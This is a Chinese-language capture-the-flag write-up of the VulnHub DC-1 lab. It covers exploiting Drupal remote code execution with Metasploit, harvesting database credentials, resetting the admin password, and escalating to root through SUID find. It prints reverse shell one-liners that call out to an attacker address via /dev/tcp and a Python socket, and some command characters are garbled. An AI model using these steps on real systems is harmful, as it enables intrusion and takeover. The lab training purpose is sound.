wordpress发布网站,wordpress怎么安装到服务器,怎样下载做网站的软件,王悦做网站前言
一个比较简单的实战靶场#xff0c;官方要求是找到/root下的flag#xff0c;所以直接提权即可。但对于学习和训练来说还是太简略了#xff0c;在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提…前言
一个比较简单的实战靶场官方要求是找到/root下的flag所以直接提权即可。但对于学习和训练来说还是太简略了在打靶场的时候还是全面一些较好。
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权并找到官方设计的5个flag。
环境配置
虚拟机KaliIP-192.168.232.140
DC-1靶场机
官网下载 https://download.vulnhub.com/dc/DC-1.zip
将攻击机kali和vulhub靶机配置一个网卡即可这里使用的都是NAT模式。
渗透过程
信息收集阶段
通过Nmap进行网段的存活主机的探测以及端口的探测
命令nmap -sV -Pn 192.168.232.0/24 这里发现192.168.232.147 便是靶机的地址开放的端口存在22 80 111端口尝试访问80web服务 这个界面现在来看是相当的熟悉了还记得ISCC2023的实战题目就是这个Drupal的远程命令执行吧
drupal是一个开源PHP管理系统,架构使用的是php环境mysql数据库的环境配置。在Drupal 6.x,7.x,8.x系列的版本中,均存在远程代码执行漏洞。
MSF攻击
接下来我们尝试使用msf来进行攻击
msfconsole
search drupal
use 1
set rhost 192.168.232.147
set lhost 192.168.232.140
run 接下来开启交互式shell
交互式shell
python -c import pty;pty.spawn(/bin/bash) 我们可以看到当前的用户是www-data
python -c //实际上-c代表着command的意思可以再命令行中调用python代码
import pty;pty.spawn(/bin/bash) //使用 python 的 pty 来转换为 交互式shell
也可以使用__import__(subprocess).call([/bin/bash])
Linux机器信息收集
DNS配置文件
/etc/resolv.conf 系统用户配置文件
/etc/passwd 这里发现了flag4 该文件的路径在/home/flag4
影子文件
/etc/shadow 系统用户的密码信息 说是没有权限
查看进程
ps aux 发现数据库进程
寻找flag
当前的目录下面存在着flag1.txt但是说是需要寻找配置文件 接下来就去查询了一下drupal的配置文件说是有一个settings.php文件 之后定位到这个文件的路径 发现了flag2的提示他说“使用暴力破解和字典攻击并不是唯一获得权限的方式你能用这些信息做什么”
下面就是数据库的用户和密码了那么我们就可以连接数据库了
使用数据库的账号和密码来连接到数据库 查看存在的数据库show databases; 查看drupaldb数据库中存在哪些表 发现了存在着user表。
这里经过查阅相关资料两种方法可以重置密码
在根目录下面的index.php中添加
require_once includes/password.inc;
require_once includes/bootstrap.inc;
echo user_hash_password(123456);
这样就能在页面中显示123456加密后的密码。
定位到drupal根目录下 执行 script/password-hash.sh 密码 这样也是可以获取到加密后的密码的
之后有了加密的密码便可以更新掉users表中的密码
接下来就是去修改密码 使用admin 123456 登录drupal Find content里面发现了还未发布的flag3
提权
利用SUID提权
首先是查看哪些文件具有suid权限
find / -perm -us -type f 2/dev/null
首先查找一下find命令在哪里 which find
再检查一下find命令是否存在suid权限ls -l /usr/bin/find 发现确实find命令是具有suid权限的。
最后使用find命令执行一下‘whoami’发现是root权限
touch getroot
find / -type f -name getroot -exec whoami \; 这里需要注意的是find 后面跟着的路径必须是存在的 如果不存在的话 后面的exec就会报错不会执行的
find /etc/passwd -exec /bin/sh \;
nc监听反弹shell
kali攻击机上执行 nc -lvvp 6666
Msf中执行构建好的find命令:
find /etc/passwd -exec bash -ip /dev/tcp/192.168.232.140/6666 0$1 \;
还可以通过python来反弹shell
find /etc/passwd python -c import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((192.168.10.25,4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);psubprocess.call([/bin/sh,-i]); #反弹一个sh类型的shell 此时已经提权为root权限啦。 最终在root目录下发现了最终的flag。